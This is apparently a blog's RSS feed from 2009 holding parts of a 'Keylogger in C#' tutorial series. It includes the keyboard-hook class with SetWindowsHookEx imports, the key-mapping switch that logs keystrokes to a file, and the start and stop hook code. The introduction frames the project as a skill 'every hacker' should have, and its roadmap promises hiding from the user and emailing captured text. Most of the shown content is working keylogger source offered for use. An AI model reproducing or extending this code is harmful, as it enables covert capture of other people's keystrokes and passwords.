                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_N</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;n&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_M</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;m&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_0</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;0&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_1</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;1&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_2</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;2&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_3</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;3&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_4</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;4&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_5</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;5&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_6</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;6&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_7</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;7&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_8</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;8&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_9</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;9&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_SNAPSHOT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-print screen-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_INSERT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-insert-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_DELETE</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-delete-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_BACK</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-backspace-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_TAB</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-tab-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_RETURN</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-enter-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_PAUSE</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-pause-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_CAPITAL</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-caps lock-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_ESCAPE</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-esc-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_SPACE</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-space-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_PRIOR</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-page up-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NEXT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-page down-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_END</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-end-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_HOME</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-home-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_LEFT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-arrow left-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_UP</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-arrow up-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_RIGHT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-arrow right-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_DOWN</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-arrow down-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">default</span><span style="color: #008000;">:</span> break<span style="color: #008000;">;</span>
            <span style="color: #000000;">&#125;</span>
&nbsp;
            writeUp <span style="color: #008000;">=</span> writeUp <span style="color: #008000;">+</span> temp<span style="color: #008000;">;</span>
&nbsp;
            unhide<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            checkKeys<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            writeToFile<span style="color: #000000;">&#40;</span>temp<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span></pre></div></div>

<p>There are some additional things in this function we will be using in the following tutorials. But more or less this defines pressed key. We use <strong>writeUp</strong> because it is used to collect inputted words. <strong>unhide</strong> function is used when special word is entered to unhide the keylogger if it is hidden. <strong>checkKeys </strong>is checking whether keyword is entered. This function in fact checks whether keyword is entered and provides notice to user, can be also used to send email or something similar. <strong>writeToFile</strong> is writing pressed keys into file on the system.<strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/hack/2009/11/finished-keylogger-in-c" rel="bookmark" title="Sunday 01.11.2009">Finished keylogger in C#</a></li>
<li><a href="http://www.axino.net/tutorial/2009/05/keylogger-in-c-hooking-and-unhooking-keyboard-hook" rel="bookmark" title="Thursday 07.05.2009">Keylogger in C# :: Hooking and unhooking keyboard hook</a></li>
<li><a href="http://www.axino.net/tutorial/2009/02/keylogger-in-c-introduction" rel="bookmark" title="Friday 06.02.2009">Keylogger in C# :: Introduction</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-hiding-unhiding" rel="bookmark" title="Thursday 29.10.2009">Keylogger in C# :: Hiding &#038;&#038; unhiding</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-saving-content" rel="bookmark" title="Tuesday 27.10.2009">Keylogger in C# :: Saving content</a></li>
</ul>
<p><!-- Similar Posts took 6.602 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=534" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Keylogger in C# :: Hooking and unhooking keyboard hook</title>
		<link>http://www.axino.net/tutorial/2009/05/keylogger-in-c-hooking-and-unhooking-keyboard-hook</link>
		<comments>http://www.axino.net/tutorial/2009/05/keylogger-in-c-hooking-and-unhooking-keyboard-hook#comments</comments>
		<pubDate>Thu, 07 May 2009 11:49:36 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[vista]]></category>
		<category><![CDATA[xp]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=329</guid>
		<description><![CDATA[Now I take that you did in fact checked my introduction to this topic of keylogger. If you did then you may procede if you did not then I woudl suggest that you back there make some reading and understanding. Now I will discuss simple ways to connect to hook that is hooking and unhooking [...]]]></description>
			<content:encoded><![CDATA[<p>Now I take that you did in fact checked my <a href="http://www.axino.net/tutorial/2009/02/keylogger-in-c-introduction" target="_blank">introduction</a> to this topic of keylogger. If you did then you may procede if you did not then I woudl suggest that you back there make some reading and understanding. Now I will discuss simple ways to connect to hook that is <strong>hooking and unhooking</strong> our keyboard hook.</p>
<p><span id="more-329"></span>So what&#8217;s this all about. I take that you have made aplication in C# already it should be windows form application preferablty since that way we will be on the same road during this learnign process.</p>
<p>If you have form you should place some button on the forum and double click it. This will open you function that will be called when your button is clicked. Now we need to add some chunk of code that will initiate and destroy hook when not needed.</p>
<p>First, of all to easy our procudere we will be using two buttons start and stop.</p>
<p>This is the code that start button should contain:</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;">Hook.<span style="color: #0000FF;">CreateHook</span><span style="color: #000000;">&#40;</span>KeyReaderr<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
button2.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
button1.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span></pre></div></div>

<p>You see we are calling function in the class hook created in the previous post. And as parameter we have to input name of method that will be used in the process of detecting pressed keys.</p>
<p>The last two lines of code are in fact just to disable and enable buttons so that when we have hook already initiated there may not be initiated another hook.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;">            Hook.<span style="color: #0000FF;">DestroyHook</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            button2.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
            button1.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span></pre></div></div>

<p>Destroying hook is even easier now we just call method in Hook class, that will do job for us. And as said before now switch enabled buttons.</p>
<p>Now you should have working project that is form and two buttons that when pressed will hook and unhook us. However, before you procede you should have method for reading keys this will be discussed in the next post. But here is definition of that method:</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> KeyReaderr<span style="color: #000000;">&#40;</span>IntPtr wParam, IntPtr lParam<span style="color: #000000;">&#41;</span></pre></div></div>

<p>As you can notice it is delagating our keyhandler from the introduction.</p>
<p>Good luck <img src='http://www.axino.net/wordpress/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/hack/2009/11/finished-keylogger-in-c" rel="bookmark" title="Sunday 01.11.2009">Finished keylogger in C#</a></li>
<li><a href="http://www.axino.net/tutorial/2010/01/hackthissite-org-extbasic-6-sucky-sysadmin" rel="bookmark" title="Monday 04.01.2010">hackthissite.org extbasic 6 :: Sucky Sysadmin</a></li>
<li><a href="http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys" rel="bookmark" title="Monday 26.10.2009">Keylogger in C# :: Detecting pressed keys</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-hiding-unhiding" rel="bookmark" title="Thursday 29.10.2009">Keylogger in C# :: Hiding &#038;&#038; unhiding</a></li>
<li><a href="http://www.axino.net/tutorial/2009/02/keylogger-in-c-introduction" rel="bookmark" title="Friday 06.02.2009">Keylogger in C# :: Introduction</a></li>
</ul>
<p><!-- Similar Posts took 6.970 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=329" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2009/05/keylogger-in-c-hooking-and-unhooking-keyboard-hook/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Keylogger in C# :: Introduction</title>
		<link>http://www.axino.net/tutorial/2009/02/keylogger-in-c-introduction</link>
		<comments>http://www.axino.net/tutorial/2009/02/keylogger-in-c-introduction#comments</comments>
		<pubDate>Thu, 05 Feb 2009 23:32:29 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[keylogger]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=262</guid>
		<description><![CDATA[Image via Wikipedia It is a kind or obligation for every hacker to know, understand and speak several languages. Of course not languages in sens of English and Russian but more like C#, Java, NASM and so on. Otherwise without any real skill you will end up just being another script kiddie and no more [...]]]></description>
			<content:encoded><![CDATA[<div class="zemanta-img" style="margin: 1em; display: block;">
<div>
<dl class="wp-caption alignright" style="width: 212px;">
<dt class="wp-caption-dt"><img title="A page from Azbuka, the first Russian language..." src="http://upload.wikimedia.org/wikipedia/commons/thumb/e/e5/Azbuka_1574_by_Ivan_Fyodorov.jpg/202px-Azbuka_1574_by_Ivan_Fyodorov.jpg" alt="A page from Azbuka, the first Russian language..." width="202" height="283" /></dt>
<dd class="wp-caption-dd zemanta-img-attribution" style="font-size: 0.8em;">Image via Wikipedia</dd>
</dl>
</div>
</div>
<p>It is a kind or obligation for every hacker to know, understand and speak several languages. Of course not languages in sens of English and Russian but more like C#, Java, NASM and so on. Otherwise without any real skill you will end up just being another script kiddie and no more without any respect, not that knowing how to write one keylogger will change this but it will give you head on start.</p>
<p><span id="more-262"></span></p>
<p>Therefore, I have decided to show you in the sequence of probably 5 tutorials how to write simple keylogger and do several other things. Depending how this little project goes I might extend it and add functionality like hiding it from the users using computer and saving data and so on&#8230;<br />
As always we have introduction to introduce some things. Yeah, speaking rubbish One other thing worthwhile mentioning is that for keylogger to function like any other keyloggers we have to write keyboard hook. To elaborate this quickly and simply, if we want to know what certain user is writing in our own application on which he has focus we easily use built in functions like key or mouse listener but if you would like to obtain what user is writing in the firefox then you need keyhook. In simple terms: our program will receive any character pressed on the keyboard no matter where in windows.</p>
<p>Keylogger series:</p>
<ol>
<li>Introduction</li>
<li>
<p class="topTitle"><a href="../../tutorial/2009/05/keylogger-in-c-hooking-and-unhooking-keyboard-hook">Keylogger in C# :: Hooking and unhooking keyboard hook</a></p>
</li>
<li><a href="http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys" target="_blank">Detecting pressed keys</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-saving-content" target="_blank">Saving content</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-hiding-unhiding">Hiding &amp;&amp; unhiding Keylogger</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-catching-secret-word">Catching secret words</a></li>
<li><a href="http://www.axino.net/hack/2009/11/keylogger-in-c-sending-emails" target="_blank">Sending emails.</a></li>
<li><a href="http://www.axino.net/hack/2009/11/finished-keylogger-in-c">Finalization</a></li>
<li><a href="http://www.axino.net/hack/2009/12/keylogger-in-c-complete-project">Complete project</a></li>
</ol>
<p>This is some kind of roadmap for the keylogger series I hope that I will have time and resources to provide each week one tutorial for this series.</p>
<h2>Introduction</h2>
<p>As I have mentioned before we will be using the following class. Please also note to follow this tutorial you need at least some beginners knowledge about either concepts of programming in C# or at least Java since in essence they are the same.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Diagnostics</span><span style="color: #008000;">;</span>
<span style="color: #008080; font-style: italic;">//using System.Windows.Forms;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Runtime.InteropServices</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #0600FF;">namespace</span> keyboardhook
<span style="color: #000000;">&#123;</span>
    <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #FF0000;">class</span> Hook
    <span style="color: #000000;">&#123;</span>
        <span style="color: #008080; font-style: italic;">//Similar class is on this site:</span>
        <span style="color: #008080; font-style: italic;">//http://blogs.msdn.com/toub/archive/2006/05/03/589423.aspx</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> <span style="color: #FF0000;">class</span> API
        <span style="color: #000000;">&#123;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">//dll imports for hooking and unhooking and sending events trough hook hierarchy</span>
&nbsp;
            <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;user32.dll&quot;</span>, CharSet <span style="color: #008000;">=</span> CharSet.<span style="color: #0600FF;">Auto</span>, SetLastError <span style="color: #008000;">=</span> <span style="color: #0600FF;">true</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
            <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> IntPtr SetWindowsHookEx<span style="color: #000000;">&#40;</span>
                <span style="color: #FF0000;">int</span> idHook,
                HookDel lpfn,
                IntPtr hMod,
                <span style="color: #FF0000;">uint</span> dwThreadId<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;user32.dll&quot;</span>, CharSet <span style="color: #008000;">=</span> CharSet.<span style="color: #0600FF;">Auto</span>, SetLastError <span style="color: #008000;">=</span> <span style="color: #0600FF;">true</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
            <span style="color: #000000;">&#91;</span><span style="color: #0600FF;">return</span><span style="color: #008000;">:</span> MarshalAs<span style="color: #000000;">&#40;</span>UnmanagedType.<span style="color: #FF0000;">Bool</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
            <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> <span style="color: #FF0000;">bool</span> UnhookWindowsHookEx<span style="color: #000000;">&#40;</span>
                IntPtr hhk<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;user32.dll&quot;</span>, CharSet <span style="color: #008000;">=</span> CharSet.<span style="color: #0600FF;">Auto</span>, SetLastError <span style="color: #008000;">=</span> <span style="color: #0600FF;">true</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
            <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> IntPtr CallNextHookEx<span style="color: #000000;">&#40;</span>
                IntPtr hhk,
                <span style="color: #FF0000;">int</span> nCode,
                IntPtr
                wParam,
                IntPtr lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;kernel32.dll&quot;</span>, CharSet <span style="color: #008000;">=</span> CharSet.<span style="color: #0600FF;">Auto</span>, SetLastError <span style="color: #008000;">=</span> <span style="color: #0600FF;">true</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
            <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> IntPtr GetModuleHandle<span style="color: #000000;">&#40;</span>
                <span style="color: #FF0000;">string</span> lpModuleName<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #FF0000;">enum</span> VK
        <span style="color: #000000;">&#123;</span>
            <span style="color: #008080; font-style: italic;">//Keycodes may be found on many internet sites.</span>
            <span style="color: #008080; font-style: italic;">//Some keys are commented feel free to uncomment them, explanations are provided for uncommon ones ;)</span>
&nbsp;
            VK_LBUTTON <span style="color: #008000;">=</span> 0X01, <span style="color: #008080; font-style: italic;">//Left mouse</span>
            VK_RBUTTON <span style="color: #008000;">=</span> 0X02, <span style="color: #008080; font-style: italic;">//Right mouse</span>
            <span style="color: #008080; font-style: italic;">//VK_CANCEL       = 0X03,</span>
            VK_MBUTTON <span style="color: #008000;">=</span> 0X04,
            VK_BACK <span style="color: #008000;">=</span> 0X08, <span style="color: #008080; font-style: italic;">//Backspace</span>
            VK_TAB <span style="color: #008000;">=</span> 0X09,
            <span style="color: #008080; font-style: italic;">//VK_CLEAR        = 0X0C,</span>
            VK_RETURN <span style="color: #008000;">=</span> 0X0D, <span style="color: #008080; font-style: italic;">//Enter</span>
            VK_SHIFT <span style="color: #008000;">=</span> 0X10,
            VK_CONTROL <span style="color: #008000;">=</span> 0X11, <span style="color: #008080; font-style: italic;">//CTRL</span>
            <span style="color: #008080; font-style: italic;">//VK_MENU         = 0X12,</span>
            VK_PAUSE <span style="color: #008000;">=</span> 0X13,
            VK_CAPITAL <span style="color: #008000;">=</span> 0X14, <span style="color: #008080; font-style: italic;">//Caps-Lock</span>
            VK_ESCAPE <span style="color: #008000;">=</span> 0X1B,
            VK_SPACE <span style="color: #008000;">=</span> 0X20,
            VK_PRIOR <span style="color: #008000;">=</span> 0X21, <span style="color: #008080; font-style: italic;">//Page-Up</span>
            VK_NEXT <span style="color: #008000;">=</span> 0X22, <span style="color: #008080; font-style: italic;">//Page-Down</span>
            VK_END <span style="color: #008000;">=</span> 0X23,
            VK_HOME <span style="color: #008000;">=</span> 0X24,
            VK_LEFT <span style="color: #008000;">=</span> 0X25,
            VK_UP <span style="color: #008000;">=</span> 0X26,
            VK_RIGHT <span style="color: #008000;">=</span> 0X27,
            VK_DOWN <span style="color: #008000;">=</span> 0X28,
            <span style="color: #008080; font-style: italic;">//VK_SELECT       = 0X29,</span>
            <span style="color: #008080; font-style: italic;">//VK_PRINT        = 0X2A,</span>
            <span style="color: #008080; font-style: italic;">//VK_EXECUTE      = 0X2B,</span>
            VK_SNAPSHOT <span style="color: #008000;">=</span> 0X2C, <span style="color: #008080; font-style: italic;">//Print Screen</span>
            VK_INSERT <span style="color: #008000;">=</span> 0X2D,
            VK_DELETE <span style="color: #008000;">=</span> 0X2E,
            <span style="color: #008080; font-style: italic;">//VK_HELP         = 0X2F,</span>
&nbsp;
            VK_0 <span style="color: #008000;">=</span> 0X30,
            VK_1 <span style="color: #008000;">=</span> 0X31,
            VK_2 <span style="color: #008000;">=</span> 0X32,
            VK_3 <span style="color: #008000;">=</span> 0X33,
            VK_4 <span style="color: #008000;">=</span> 0X34,
            VK_5 <span style="color: #008000;">=</span> 0X35,
            VK_6 <span style="color: #008000;">=</span> 0X36,
            VK_7 <span style="color: #008000;">=</span> 0X37,
            VK_8 <span style="color: #008000;">=</span> 0X38,
            VK_9 <span style="color: #008000;">=</span> 0X39,
&nbsp;
            VK_A <span style="color: #008000;">=</span> 0X41,
            VK_B <span style="color: #008000;">=</span> 0X42,
            VK_C <span style="color: #008000;">=</span> 0X43,
            VK_D <span style="color: #008000;">=</span> 0X44,
            VK_E <span style="color: #008000;">=</span> 0X45,
            VK_F <span style="color: #008000;">=</span> 0X46,
            VK_G <span style="color: #008000;">=</span> 0X47,
            VK_H <span style="color: #008000;">=</span> 0X48,
            VK_I <span style="color: #008000;">=</span> 0X49,
            VK_J <span style="color: #008000;">=</span> 0X4A,
            VK_K <span style="color: #008000;">=</span> 0X4B,
            VK_L <span style="color: #008000;">=</span> 0X4C,
            VK_M <span style="color: #008000;">=</span> 0X4D,
            VK_N <span style="color: #008000;">=</span> 0X4E,
            VK_O <span style="color: #008000;">=</span> 0X4F,
            VK_P <span style="color: #008000;">=</span> 0X50,
            VK_Q <span style="color: #008000;">=</span> 0X51,
            VK_R <span style="color: #008000;">=</span> 0X52,
            VK_S <span style="color: #008000;">=</span> 0X53,
            VK_T <span style="color: #008000;">=</span> 0X54,
            VK_U <span style="color: #008000;">=</span> 0X55,
            VK_V <span style="color: #008000;">=</span> 0X56,
            VK_W <span style="color: #008000;">=</span> 0X57,
            VK_X <span style="color: #008000;">=</span> 0X58,
            VK_Y <span style="color: #008000;">=</span> 0X59,
            VK_Z <span style="color: #008000;">=</span> 0X5A,
&nbsp;
            VK_NUMPAD0 <span style="color: #008000;">=</span> 0X60,
            VK_NUMPAD1 <span style="color: #008000;">=</span> 0X61,
            VK_NUMPAD2 <span style="color: #008000;">=</span> 0X62,
            VK_NUMPAD3 <span style="color: #008000;">=</span> 0X63,
            VK_NUMPAD4 <span style="color: #008000;">=</span> 0X64,
            VK_NUMPAD5 <span style="color: #008000;">=</span> 0X65,
            VK_NUMPAD6 <span style="color: #008000;">=</span> 0X66,
